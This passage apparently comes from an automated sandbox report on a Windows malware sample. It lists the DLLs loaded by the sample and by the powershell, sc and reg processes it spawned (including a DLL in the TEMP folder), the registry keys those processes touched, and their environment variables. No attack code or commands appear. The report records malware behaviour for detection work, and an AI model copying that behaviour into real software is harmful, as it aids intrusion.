906.bm-nginx-loadbalancer.mgmt.lax1.adnexus.net; *.adnxs.com Cache-Control: no-store no-cache private P3p: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml" CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Pragma: no-cache Accept-Ch: Sec-CH-UA-Full-Version-List Sec-CH-UA-Arch Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Bitness with no response body3b:T30f3,"SecuriteInfo.com.Win64.Evo-gen.49237433.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff975370000 "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff98ecc0000 "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" loaded module "NTDLL.DLL" at base 7ff994330000 "sc.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff975370000 "sc.exe" loaded module "RPCRT4.DLL" at base 7ff993740000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff975370000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff9935d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff991260000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff991260000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff991260000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff96c7b0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff9936e0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff9906d0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff9889d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff96bce0000 "powershell.exe" loaded module "USER32.DLL" at base 7ff991b00000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff991260000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff96da60000 "powershell.exe" loaded module "NTDLL" at base 7ff994330000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff993860000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff993740000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff991930000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff963280000 "powershell.exe" loaded module "OLE32.DLL" at base 7ff993450000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff993860000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff993d40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff962610000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff961b90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff96bb70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff98fb20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff990a90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff95fb20000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff993860000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff993860000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff994330000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff991af0000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff991e00000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff9917a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff9917a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff9914d0000 "powershell.exe" loaded module "AMSI.DLL" at base 7ff97c710000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff9889d0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff97b8b0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff9914d0000 "powershell.exe" loaded module "KERNEL32" at base 7ff991930000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\QBLJ9VGD.DLL" at base 7ff975040000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff96bad0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff96b960000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff96b7f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff95f270000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ff96b790000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ff95e900000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff96b420000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff991260000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff96b2d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff96b260000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff95e820000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff95e6e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff96b210000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff987aa0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff990580000 "powershell.exe" loaded module "WLDP.DLL" at base 7ff98f770000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff95e600000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff991930000 "powershell.exe" loaded module "USERENV.DLL" at base 7ff9905b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff9935d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff993860000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff97dc50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff97b110000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ff970cb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 7ff97ccf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 7ff97cb90000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 7ff97cb90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.M870D558A#\5F64880C86C98E7DDECDF28E61917307\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 7ff95e300000 "powershell.exe" loaded module "URLMON.DLL" at base 7ff9864c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff991260000 "powershell.exe" loaded module "MSISO.DLL" at base 7ff9830b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 7ff95e240000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff95d530000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff977e30000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff9901e0000 "powershell.exe" loaded module "OLEAUT32" at base 7ff993d40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ff95d2f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 7ff991260000 "powershell.exe" loaded module "MSVCRT.DLL" at base 7ff993bf0000 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 7ff97c700000 "powershell.exe" loaded module "MI.DLL" at base 7ff988cb0000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 7ff991260000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WMIDCOM.DLL" at base 7ff988c20000 "powershell.exe" loaded module "GDI32.DLL" at base 7ff994260000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff991260000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff986690000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff983910000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff991260000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff991260000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff9839d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 7ff991930000 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 7ff991260000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff96da70000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff975360000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ff95f1b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff95e900000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ff95e3c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.M870D558A#\5F64880C86C98E7DDECDF28E61917307\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 7ff95e310000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.IBAAE5ED9#\E86F7F836A07F673CDEF4C9A4D4B4D80\MICROSOFT.IIS.POWERSHELL.COMMANDS.NI.DLL" at base 7ff95e2a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.KD58820A5#\00F9E9FF321D8A141F3D71163C70C906\MICROSOFT.KEYDISTRIBUTIONSERVICE.CMDLETS.NI.DLL" at base 7ff977e30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.KEYDISTRIBUTIONSERVICE.CMDLETS\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.KEYDISTRIBUTIONSERVICE.CMDLETS.DLL" at base 7ff97b110000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff971b50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff95d590000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ff95d420000 "reg.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff975370000 "reg.exe" loaded module "KERNEL32.DLL" at base 7ff991930000 "reg.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff985710000 "sc.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff985710000 "sc.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff96df100003c:T5f2,"powershell.exe" touched "WBEM Locator" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "NDP SymBinder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")3d:T2f1c,Process "sc.exe" (UID: 00000000-00007848) was launched with new environment variables: "USERDNSDOMAIN="GDqpvcWhu84sPYa"" Process "sc.exe" (UID: 00000000-00007848) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "nslookup.exe" (UID: 00000000-00007684) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, APPDATA, USERNAME, Path, TEMP, USERPROFILE, TMP, NUMBER_OF_PROCESSORS" Process "nslookup.exe" (UID: 00000000-00007684) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, LOGONSERVER, OneDrive, USERDNSDOMAIN, HOMEPATH, HOMEDRIVE" Process "sc.exe" (UID: 00000000-00006676) was launched with modified environment variables: "Path" Process "sc.exe" (UID: 00000000-00006704) was launched with modified environment variables: "Path" Process "msedge.exe" (UID: 00000000-00000976) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", LOGONSERVER="%HOSTNAME%", OneDrive="%USERPROFILE%\OneDrive", USERDNSDOMAIN="DESKTOP-FVVF82A", HOMEPATH="\Users\9edj4UM", HOMEDRIVE="C:"" Process "msedge.exe" (UID: 00000000-00000976) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, APPDATA, USERNAME, Path, TEMP, USERPROFILE, TMP" Process "msedge.exe" (UID: 00000000-00000424) was launched with new environment variables: "EDGE_CRASHPAD_PIPE_NAME="\\.\pipe\crashpad_976_KWGMNUGHCUWYTPDK", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_BROWSER_PID="976"" Process "msedge.exe" (UID: 00000000-00004836) was launched with new environment variables: "EDGE_METRICS_SESSION_ID="7", COMPONENT_INSTALLER_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_METRICS_CLIENT_ID_HASH="8213263524593659753"" Process "msedge.exe" (UID: 00000000-00006476) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, NVM_SYMLINK, PROCESSOR_LEVEL, SSLKEYLOGFILE, USERDOMAIN, LOGONSERVER, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, EDGE_METRICS_SESSION_ID, OneDrive, APPDATA, EDGE_USER_DATA_DIR, USERNAME, USERDNSDOMAIN, ProgramFiles(x86), CommonProgramFiles, CURL_CA_BUNDLE, PATHEXT, OS, COMPUTERNAME, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, ProgramData, ProgramW6432, HOMEPATH, HOMEDRIVE, PROCESSOR_IDENTIFIER, USERPROFILE, CommonProgramFiles(x86), ProgramFiles, PUBLIC, NUMBER_OF_PROCESSORS, windir, EDGE_METRICS_CLIENT_ID_HASH" Process "sc.exe" (UID: 00000000-00001444) was launched with new environment variables: "NVM_SYMLINK="%PROGRAMFILES%\nodejs", PROCESSOR_LEVEL="6", SSLKEYLOGFILE="%TEMP%\sslkey.txt", USERDOMAIN="WORKGROUP", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", APPDATA="%WINDIR%\system32\config\systemprofile\AppData\Roaming", USERNAME="DESKTOP-FVVF82A$", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", CommonProgramFiles="%PROGRAMFILES%\Common Files", CURL_CA_BUNDLE="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", OS="Windows_NT", COMPUTERNAME="GDqpvcWhu84sPYa", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", ComSpec="%WINDIR%\system32\cmd.exe", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", USERPROFILE="%WINDIR%\system32\config\systemprofile", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", NUMBER_OF_PROCESSORS="2", windir="C:\WINDOWS"" Process "sc.exe" (UID: 00000000-00001444) was launched with modified environment variables: "LOCALAPPDATA, Path, TEMP, TMP" Process "sc.exe" (UID: 00000000-00001444) was launched with missing environment variables: "EDGE_CRASHPAD_PIPE_NAME, COMPONENT_INSTALLER_DIR, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00008064) was launched with new environment variables: "EDGE_CRASHPAD_PIPE_NAME="\\.\pipe\crashpad_976_KWGMNUGHCUWYTPDK", COMPONENT_INSTALLER_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_BROWSER_PID="976"" Process "msedge.exe" (UID: 00000000-00008064) was launched with modified environment variables: "LOCALAPPDATA, Path, TEMP, TMP" Process "msedge.exe" (UID: 00000000-00008064) was launched with missing environment variables: "NVM_SYMLINK, PROCESSOR_LEVEL, SSLKEYLOGFILE, USERDOMAIN, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, APPDATA, USERNAME, ProgramFiles(x86), CommonProgramFiles, CURL_CA_BUNDLE, PATHEXT, OS, COMPUTERNAME, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, ProgramData, ProgramW6432, PROCESSOR_IDENTIFIER, USERPROFILE, CommonProgramFiles(x86), ProgramFiles, PUBLIC, NUMBER_OF_PROCESSORS, windir" Process "reg.exe" (UID: 00000000-00003756) was launched with new environment variables: "NVM_SYMLINK="%PROGRAMFILES%\nodejs", PROCESSOR_LEVEL="6", SSLKEYLOGFILE="%TEMP%\sslkey.txt", USERDOMAIN="WORKGROUP", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", APPDATA="%WINDIR%\system32\config\systemprofile\AppData\Roaming", USERNAME="DESKTOP-FVVF82A$", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", CommonProgramFiles="%PROGRAMFILES%\Common Files", CURL_CA_BUNDLE="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", OS="Windows_NT", COMPUTERNAME="GDqpvcWhu84sPYa", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", ComSpec="%WINDIR%\system32\cmd.exe", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", USERPROFILE="%WINDIR%\system32\config\systemprofile", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", NUMBER_OF_PROCESSORS="2", windir="C:\WINDOWS"" Process "reg.exe" (UID: 00000000-00003756) was launched with modified environment variables: "LOCALAPPDATA, Path, TEMP, TMP" Process "reg.exe" (UID: 00000000-00003756) was launched with missing environment variables: "EDGE_CRASHPAD_PIPE_NAME, COMPONENT_INSTALLER_DIR, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00004592) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", LOGONSERVER="%HOSTNAME%", EDGE_CRASHPAD_PIPE_NAME="\\.\pipe\crashpad_976_KWGMNUGHCUWYTPDK", EDGE_METRICS_SESSION_ID="7", OneDrive="%USERPROFILE%\OneDrive", COMPONENT_INSTALLER_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", USERDNSDOMAIN="DESKTOP-FVVF82A", HOMEPATH="\Users\9edj4UM", HOMEDRIVE="C:", EDGE_METRICS_CLIENT_ID_HASH="8213263524593659753", EDGE_BROWSER_PID="976"" Process "msedge.exe" (UID: 00000000-00004592) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, APPDATA, USERNAME, Path, TEMP, USERPROFILE, TMP" Process "reg.exe" (UID: 00000000-00006932) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, APPDATA, USERNAME, Path, TEMP, USERPROFILE, TMP" Process "reg.exe" (UID: 00000000-00006932) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, LOGONSERVER, EDGE_CRASHPAD_PIPE_NAME, EDGE_METRICS_SESSION_ID, OneDrive, COMPONENT_INSTALLER_DIR, EDGE_USER_DATA_DIR, USERDNSDOMAIN, HOMEPATH, HOMEDRIVE, EDGE_METRICS_CLIENT_ID_HASH, EDGE_BROWSER_PID" Process "svchost.exe" (UID: 00000000-00003708) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "msedge.exe" (UID: 00000000-00008172) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", EDGE_METRICS_SESSION_ID="7", COMPONENT_INSTALLER_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", USERDNSDOMAIN="DESKTOP-FVVF82A", HOMEPATH="\Users\9edj4UM", EDGE_BROWSER_PID="976", LOGONSERVER="%HOSTNAME%", EDGE_CRASHPAD_PIPE_NAME="\\.\pipe\crashpad_976_KWGMNUGHCUWYTPDK", OneDrive="%USERPROFILE%\OneDrive", HOMEDRIVE="C:", EDGE_METRICS_CLIENT_ID_HASH="8213263524593659753"" Process "msedge.exe" (UID: 00000000-00008172) was launched with modified environment variables: "USERNAME, LOCALAPPDATA, USERDOMAIN, APPDATA, Path, TEMP, USERPROFILE, TMP" Process "msedge.exe" (UID: 00000000-00008172) was launched with missing environment variables: "FPS_BROWSER_USER_PROFILE_STRING, FPS_BROWSER_APP_PROFILE_STRING" Process "msedge.exe" (UID: 00000000-00003240) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, NVM_SYMLINK, PROCESSOR_LEVEL, SSLKEYLOGFILE, USERDOMAIN, LOGONSERVER, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, EDGE_METRICS_SESSION_ID, OneDrive, APPDATA, EDGE_USER_DATA_DIR, USERNAME, USERDNSDOMAIN, ProgramFiles(x86), CommonProgramFiles, CURL_CA_BUNDLE, PATHEXT, OS, COMPUTERNAME, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, ProgramData, ProgramW6432, HOMEPATH, HOMEDRIVE, PROCESSOR_IDENTIFIER, USERPROFILE, CommonProgramFiles(x86), ProgramFiles, PUBLIC, NUMBER_OF_PROCESSORS, windir, EDGE_METRICS_CLIENT_ID_HASH" Process "sc.exe" (UID: 00000000-00007652) was launched with new environment variables: "NVM_SYMLINK="%PROGRAMFILES%\nodejs", PROCESSOR_LEVEL="6", SSLKEYLOGFILE="%TEMP%\sslkey.txt", USERDOMAIN="WORKGROUP", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", PROCESSOR_ARCHITECTURE="AMD64", 